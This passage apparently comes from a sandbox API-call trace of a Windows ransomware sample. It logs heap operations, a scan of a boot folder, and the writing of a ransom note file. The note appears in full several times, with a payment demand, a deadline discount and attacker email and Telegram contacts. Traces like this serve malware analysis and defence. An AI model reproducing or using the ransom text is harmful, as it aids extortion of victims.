RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.607] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.607] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.607] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.607] PathFindFileNameW (pszPath="") returned="" [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.607] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.607] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.608] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.608] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0112.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.608] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0112.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.609] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.609] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.609] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.609] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.609] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.609] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.609] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.609] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.610] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] 